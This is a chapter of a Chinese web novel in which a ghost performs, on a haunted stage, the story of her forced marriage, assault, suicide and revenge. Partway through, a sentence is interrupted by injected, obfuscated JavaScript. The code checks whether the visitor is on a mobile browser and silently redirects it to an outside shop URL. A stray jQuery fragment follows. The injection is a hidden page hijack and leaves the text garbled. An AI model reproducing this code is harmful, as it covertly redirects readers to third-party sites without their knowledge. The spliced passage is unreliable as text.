安未央也被这一声吓得差点跳起来,抬头一看,房梁上不知何时蹲着个穿红衣裳的小丫头,约莫十二三岁的模样,脸上涂着厚厚的白粉,两颊点着圆圆的胭脂,正歪着头冲他们笑。
“客官,戏开场了,快请进吧。”那红衣小丫头从房梁上轻飘飘地落下来,落地时半点声响也没有。
安未央刚想问话,却被尘无恙抬手拦住了,“看戏。”
那红衣小丫头咯咯一笑,也不再多言,转身便往屋里走。
安未央拽着刘棠,跟着尘无恙走了进去。
堂屋里不知何时已经摆好了三把椅子,不偏不倚地正对着戏台。安未央左右看了看,除了他们三人,再没旁人了。可等她坐定低头一看,戏台下竟然坐满了人。
纸人乌压压一片,全部背对着他们,一动不动,风一吹,发出窸窸窣窣的响声。
“铛。”
一声锣响,戏开场了。
台上不见戏人,只有一顶纸糊的红轿子被风吹地晃。那轿子旧得厉害,红纸剥落了大半,露出里头白森森的白骨。
“我本是良家女,家住长安城外十里铺。爹娘贪了聘礼,把我许给了一个我从未见过的男人。”
话音落时,台上多了一个白衣女子。安未央揉揉眼,愣是不知她何时出现的。那女子背对着台下,正坐在一驾破旧的纺车前,慢慢地摇着。
“我不愿。”白衣女子的声音一下尖了起来,“便连夜逃了。我翻了三座山,过了两条河,眼看就要到长安了。长安城里有我姑母,她愿意收留我。”
她说着,缓缓站起身来,手里多了一个蓝布包袱。
戏台的另一头,忽然窜出几个男人,那些男人夺过她的包袱,扯散她的衣裳。
“他们夺了我的包袱,毁了我的清白。”
那女子脸上竟多出了几滴血,“可我没有死!我爬了起来,抹干净了脸,把破了的衣裳重新系好。我想,我要去告官,我要让全天下的人都知道这些人干了什么!”
她的身影在台上转了一个圈,白衣在红色烛火下亮得刺眼。
“可到了长安,我连衙门都没能进去。”白衣女子突然笑了,“他们说我是个疯婆娘,说的全是疯话。报官?状纸没人接,我连那个男人的名字都说不全,凭什么告?凭什么抓?”
白衣女子站在台上,仰着头,“后来我才知道,我逃婚的事,早被我家退了亲的夫家传遍了。连我爹娘都觉得我败坏门风,不认我这个女儿。姑母闭门不见。我走在长安大街上,连条狗都朝我吠。”
台上那盏灯忽然暗了一暗。
“我回到那间破庙,就是他们糟蹋我的那间破庙。房梁上还挂着半截旧麻绳。”女子的声音轻了下来,“我就把自己吊死在那儿了。
“可我死后,怨气散不掉,魂也投不得。”白衣女子话音一转,“我的魂从破庙里飘出来,满长安地游荡。我看见了什么?我看见了那些害过我的人,他们照旧在街上走,照旧喝酒,照旧去赌坊。没有人抓他们,没有人为我伸冤。”
说到这里,台上忽然闪过几只黑蝶。
“我化作了蝶。”白衣女子的身子像散在了黑蝶中,只余下声音,“我飞回长安,飞进那些男人的梦里,我让他们分不清是真是假,我让他们家破人亡……”
“你们可知,人最怕什么?”她忽然问。
堂子里无人应答。
“人最怕的,不是噩梦。”白衣女子自问自答道,“人最怕的,是好梦。因为好梦醒了,什么也没剩下。那空空落落的滋味,比死还难受。”
“这蝶,便是最喜食人的执念。你越想什么,它便给你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887110|212586||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么。你越要什么,它便喂你什么。”
白衣女子哼起了曲子,“等它把你喂饱了,你的魂也就薄了。魂薄了,人便不成了人,只能像现在这样。”
她话音一落,台下忽然有个人站了起来,晃晃悠悠地转过身来。
安未央一看,吓得大气也不敢喘。
李大休的脸白得像纸,两只眼睛空洞洞的,嘴角挂着一道口水,正冲着台上嘿嘿嘿地傻笑,嘴里含含糊糊地念叨着:“银子……好多的银子……我发财了……发财了……”
“这人姓李。”白衣女子看了李大休一眼,“他家里穷得叮当响,爹死得早,娘又瞎了眼,下面还有个十来岁的弟弟。”
“他本该是个老实本分的人。”白衣女子像是轻轻叹了口气,“只可惜,那晚回我清白的也有他一个。”
台下的李大休趴在地上,忽然不笑了,两手抱着头,嘴里发出“呜呜”的哭声。
“我没有杀他。”白衣女子慢慢弯下腰,朝台下的李大休看了一眼,“那些毁我清白的男人,依旧让他们活的好好的。”
她直起身,说不清,道不明,“他们看着自己家破人亡,却无能为力,看着自己妻离子散,却只能安然接受。”
“安未央。”那女子突然叫了一声,吓得安未央缩了缩脖子,“你说我这样做,有错吗?”
“他们害我成为孤魂野鬼,而我还给他们的仅仅是家破人亡,妻离子散!我没有让他们死!我难道还不够仁慈吗?”
堂子里忽然响起一阵抽泣声,安未央壮起胆子走向台前,松开握着尘无恙的手,“姑娘叫什么?我爹也是在长安有头有脸的人,姑娘若不嫌弃,我和我爹帮姑娘讨清白。”
“李若兰。”她走下了台,半跪着身子,抬头看着安未央,“安姑娘,你真愿帮我?”